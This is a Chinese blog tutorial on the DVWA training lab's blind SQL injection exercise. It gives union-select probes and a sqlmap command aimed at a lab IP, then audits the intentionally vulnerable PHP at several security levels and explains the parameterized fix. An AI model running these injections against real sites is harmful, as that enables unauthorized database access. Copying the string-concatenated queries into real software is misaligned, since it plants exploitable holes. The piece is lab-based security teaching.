dvwa靶场SQL Injection (Blind)（sql盲注）全难度教程（附代码分析）

最新推荐文章于 2024-03-19 16:41:37 发布

himobrinehacken

最新推荐文章于 2024-03-19 16:41:37 发布

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本文链接：https://blog.csdn.net/m0_73248913/article/details/129970666

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SQL Injection (Blind)（Security Level: low）

手工注入

一共两个报错形式

User ID is MISSING from the database.

User ID exists in the database.

明显的说明第二个是成功的，而且闭合方式为单引号闭合。

1'#

1' union select 1,2,3 #

1' union select 1,2 #

两个回显位

接下来就能直接使用burp了，太麻烦就看看我的sqlilabs吧

(14条消息) sqli-labs第五六关_himobrinehacken的博客-CSDN博客

下面我就直接sqlmap了

sqlmap -u "http://192.168.21.149/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=1j2i96asf6u803sp1rnhntlk43; security=low" --batch

ok搞定（后面的是一样的操作）

代码审计

Security Level: low

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

使用mysqli_query函数执行sql语句并返回结果给result，删除“or die”来抑制mysql错误
使用@mysqli_num_rows函数获取结果集的数量给变量num，通过@来抑制mysql错误

Security Level: medium

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?>

没有对敏感字符过滤

Security Level: high

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

没有什么能直接弄，sqlmap整好用

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();

        // Get results
        if( $data->rowCount() == 1 ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // User wasn't found, so the page wasn't!
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

进行了预编译，不再拼接sql语句，而是替换

检查了token

判断了数据类型是否仅为数字

判断了结果是否仅为1行